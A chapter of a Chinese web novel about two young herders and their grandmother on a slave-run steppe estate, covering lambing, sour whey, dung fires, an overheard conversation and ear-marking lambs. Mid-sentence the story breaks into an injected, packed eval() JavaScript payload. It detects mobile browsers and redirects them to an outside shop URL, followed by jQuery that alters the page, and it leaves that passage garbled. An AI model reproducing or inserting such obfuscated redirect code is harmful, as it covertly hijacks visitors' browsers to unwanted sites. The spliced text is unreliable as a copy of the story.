这两天出生的小羊羔太多了,原来的羊羔棚已经塞不下这么多小羊了,方可可和塔塞不得不在羊棚里重新隔了一块地方出来放母羊和小羊羔。
婆婆这几天要照顾着母羊生产,几乎没睡过一个整觉。现在小羊生完了,她也终于能休息一下了,晚饭就由塔塞他们准备了。
方可可负责生火,他看了下棚子里,又有草料又有羊群的,最后还是跑棚子外生火了。
塔塞拿了点酸水来。
方可可头一回见这东西,还以为是和羊奶一样好喝,拿过来毫无防备的就喝了一口。
“ou——”
什么东西啊,这么酸就算了,怎么还有股苦味。
要不是这水源缺乏,方可可都差点吐出来。
塔塞也没想到他动作这么快,都没反应过来拦着他,“我刚想问你喝过这东西没有,没人头一回能喝得惯这个。”
“这是什么啊?”
方可可看着这浑浊的微微发黄的液体,闻上去倒是没什么味道,完全想象不到它尝起来会这么难喝。
“酸水啊,这段时间不是收集了不少羊奶吗?这是羊奶做完酥油剩下的酸奶水啊。”
这么多产乳期的母羊,并不是每只羊每天的奶水都是正正好给一只小羊吃。
有的母羊奶水少些,有的母羊奶水多些。
他们会收集多余的奶水,防止母羊因为奶水淤积而生病。
收集起来的羊奶要全部送到牧主那里去。
阿托木身边的仆从会先称重,然后把羊奶拿去做酥油。
至于称出来的重量则会被阿托木记录在羊拐骨上,和羊崽的数目一起。
他每年都会拿之前几年的数字出来比对,看羊崽数目有没有下降,羊奶有没有变少。
如果少了,多半就是手底下的奴隶偷懒了。
做完酥油剩下的酸奶水并不是酸水那样发酸发苦,还是会带着一丝淡淡的奶味。
这样的酸奶水会被再次煮开,煮到里面的絮状物沉淀出来成了奶渣或者是奶豆腐。
再把剩下的水稀释,最后才成了奴隶能喝的又酸又苦的酸水。
“难道我们以后都要喝这个了?”
方可可有些抗拒。
塔塞从他手里拿回水囊,“想什么呢,这么好的东西哪可能天天喝。”
“这东西用处可大着呢。”
“我是想着你估计没见过这东西,就拿出来给你瞧瞧,省的到时候说起来了,你又不知道。”
方可可看了看这平平无奇的液体,又看了看塔塞,实在是有点想不出来这东西能有什么大用。
塔塞双手抱着他的头,“好了,别转了,你还是安心看着火吧。对了,这羊粪球你拿的时候看了没,都干透了吧。”
他是想起方可可第一回生火的事了。
“什么叫干透啊?”
方可可有些心虚的问。
他这回吸取了上回的教训,没拿新鲜的羊粪球了,都是拿的摸上去干了的。
应该没问题吧?
被塔塞这么一问,他又有些不确定了。
塔塞看了他一眼,没有说话,只是默默的往边上挪了两步。
然后捂住了口鼻,闷声道:“那就只能祝你好运了。”
很快,塔塞就知道他是什么意思了。
火堆突然冒出了一阵浓烟。
方可可离得太近,被熏的毫无防备,开始疯狂的流眼泪打喷嚏
眼睛也睁不开,话也说不出来。
好在外头有风,没一会浓烟就被风吹散了。
等烟散了,塔塞才凑过来,“没事的,我有时候也会拿错羊粪球,下回我和你一起看。”
方可可脸上还挂着眼泪,一眼就看穿了塔塞哪里是在安慰他,明明是在看笑话,“那你刚刚躲的时候怎么不喊我。”
“哈哈哈哈哈。”
塔塞没憋住笑,方可可现在的表情实在是太好笑了。
晚饭最后做了烤饼子,荠菜因为时间来不及,就没煮了。
烤饼子又硬又干,干吃有点吃不下去。
婆婆拿出来了之前秋天做的韭菜酱。
为了韭菜酱能保存更多的时间,腌的时候放了很多的盐。
空口吃就有点太咸了,配没有味道的饼子吃正好。
婆婆牙口不太好,她吃饼子是配着塔塞拿出来的酸水,一口饼子一小口酸水,慢慢吃慢慢消化。
她看着塔塞和方可可两个人,“可可怎么脸上脏脏的?”
塔塞:“哈哈,他晚上生火用的羊粪球没干透,被熏的一直打喷嚏。”
方可可扑上去捂住了他的嘴,“你还说,你自己躲边上也不提醒我一下。”
塔塞被捂住了嘴,说不出来话,但还在那笑。
一开始方可可觉得有点尴尬的羞怒,结果捂完塔塞的嘴他才想起来,自己手上好像还有灰。
这下好了,塔塞脸上也脏了。
他也忍不住笑了。
婆婆看他两笑得停不下来,手里的饼子都掉了,提醒道:“好了好了,别玩了,先把饼子吃了。”
“对了,昨天拔来的荠菜还没吃完,你们今天怎么又去拔了?”
“而且也没烧?”
塔塞只能把昨天遇上管事,管事要求他们摘荠菜的事告诉婆婆。
婆婆听完以后,看了一眼塔塞,“既然我们晚上没烧,那就把这把荠菜给管事送过去吧。”
“行吗,塔塞?”
被婆婆看着的塔塞说不出拒绝的话,只能嘴巴抿的紧紧的,表达他轻微的抗拒。
方可可:“婆婆,我去送吧,正好晚上吃多了,走走消消食。”
管事的帐篷还挺好认的,方可可头一回走,也没走错路。
在路上的时候,他看着手里少少的荠菜,想着待会管事要是问起来荠菜为什么少了,该怎么回答。
转头又想,见牧主的时候要弯腰要下跪,那见管事的时候要下跪吗?
他第一回见的时候还是躺着的,第二回见的时候被塔塞带着,没注意这个。
管事的帐篷前没人,也没门。
方可可的手下意识抬起来想敲门,结果敲到软帘子上了。
这就有些尴尬了。
还好没人看见这一幕。
他想喊一声管事,结果帐篷里先传来了更响的声音。
他转身想走,却又听到里头传来了他和塔塞的名字。
还隐约地提到了婆婆的名字。
方可可心里头知道偷听了被发现会挨罚,要赶紧走。一边又好奇管事说起他们的名字是准备干什么,要下什么绊子吗?
结果越听越不对劲,偏偏到了关键的地方他们的声音又小了,后面也听不到什么声音了。
天已经很晚了,方可可已经过来了很久,要是再不回去估计塔塞他们就要担心了,他该回去了。
回去的路上他已经想好了借口,把荠菜交给婆婆的时候说:“我去的时候管事不在帐篷里,叫了好几声没人应,我就回来了。”
婆婆看着他的脸,注视着他的眼睛:“是吗,那还真是不凑巧。”
她没有戳穿可可的谎言,只是说:“塔塞好像有点不开心,你要不要去看看他?”
“好。”方可可有点不敢再和婆婆说下去了。
他心头揣着事,去找了塔塞,结果看到他闷闷不乐的在铲垫料。
羊棚里要定期清扫,一般就是拿个铲子把垫料连着脏东西一块铲走,然后再铺上干净的垫料。
方可可干脆抱着新的垫料跟在他边上,塔塞一边铲,他一边铺,“婆婆和你说什么了?你这么不开心? ”
塔塞:“婆婆说我们归管事管,又斗不过他,在这种小事上恶心他,只会让他记着仇想办法回来折腾我们,最后遭殃的还是自己。”
“可是拉图和婆婆之间的过节他又不是不知道,还安排到婆婆身边跟着婆婆学本事,那不就是故意膈应婆婆吗。”
“我就是看他这样生气,但他是管事,我们天生矮他一头。我没别的办法了,只有在小事上恶心他了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534209|203774||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
呀。”
“我每次看到他都用种他是全天下最讨厌的人,但是别人没有发现的感觉,好气啊。”
他叽叽喳喳说了一大堆,转头发现问他的方可可却在盯着他出神。
“可可,可可?你有没有听到我刚刚说的呀?”
方可可回神,看着他认真的说,“听到了,我现在也觉得管事是全天下最讨厌的人了,我要和你一起讨厌他。”
得到了朋友认可的塔塞没有了刚刚的闷闷不乐,开始拉着和他同一战线的可可一起骂管事。
不知道怎么的,方可可这回骂的特别投入。
一直到晚上睡觉的时候,方可可都没能把他听到的那些话说出口。
看着睡他边上的塔塞和婆婆,他想张口说些什么,又不知道该从什么地方讲起。算了,等他搞明白了再说吧,省的他们白担心了。
————
小羊羔最近已经脱离了刚出生时的危险期了,这个时候他们要干一件事,拿小刀在羊耳朵上做记号。
塔塞说有时候羊跑丢了,或者是被别人偷了,就要靠标记来确认。
而且后面转场可能会遇上其他的牧场主,大家养的都是同一个品种的羊,放牧的时候要是混到一块了,就只能靠耳朵上的标记来判断是谁家的。
有些牧场主坏得很,别人家的羊跑错了地方,主人找上门他也不承认的。
所以这标记一定要做的显眼,又不容易被抹除。
阿托木家养的羊都是在小羊脱离危险期以后就开始做标记,在耳朵上用烧红的匕首刻个大大的×。
方可可头一回上手,两只手都不知道是该抓羊羔的头还是该抓羊羔的脚。
塔塞帮着他一起按住羊羔,手把手的教他该抓哪,怎么抓。
不过方可可还是小瞧了羊羔挣扎的力气,交接的时候手一下没抓住就给小羊挣脱掉了。
还好塔塞眼疾手快又给抓了回来:“还好今天是是抓小羊了,等到过些时候抓大羊,你要还是这样抓不牢,小心大羊的蹄子踹断你的骨头。”
“抓羊不能硬抓,你动作要轻,手要快,就像这样。”
他走到一只小羊身边,两只手抓住小羊一翻,羊靠着他的腿,乖乖的肚子朝上,一点也不像在方可可手上那么挣扎。
在小羊还没反应过来的时候,他另一只手松开拿起小刀在耳朵上快速的划过,很快标记就做好了。
标记做完再摸点草木灰,止血又防止感染。
被松开的小羊站了起来,甩了甩耳朵,刺痛的感觉消失的很快,它甩完就察觉不到了。
母羊也过来闻了闻小羊崽,身上的气味没变,好像什么都没发生一样。不过它还是咩咩了两声,带着羊崽远离了塔塞身边。
“这样翻,它们一下子挣脱不开,你划记号的手再快些,它们起身就感觉不到痛了,感觉不到不舒服就不会太挣扎了。”
“对了,下手也不能太轻,要是长大了标记看不出来了,就得重新刻一回了。”
“趁着现在抓的是小羊崽,你多练练,练熟了,等到给大羊剪毛的时候就不容易被羊踢了。”
然后方可可就在塔塞的注视下,一连翻了好几只小羊崽,终于做到了翻的又快又好,在羊崽还没察觉到不舒服之前就把标记做好了。
小羊羔虽可爱,翻多了也累人。
翻到后边他胳膊都抬不起来了,就算是被塔塞嘲笑体力不行,他也起不来了。
“塔塞,之后还会有这么累的活嘛?”
塔塞想了想:“断尾、剪毛……不过要说最累的应该是转场吧。”
“没事,还早着呢,有时间给你休息的。”
方可可看着塔塞的脸说:“你知道吗?有一句老话叫你越不希望发生的事,越有可能会发生。”
“啥意思?”
婆婆正好在他们说到这的时候走进来,“今年转场的时间定下来了,就在三天后,咱们要收拾起来了。”
两个人四目相对。
这下好了,彻底没时间休息了。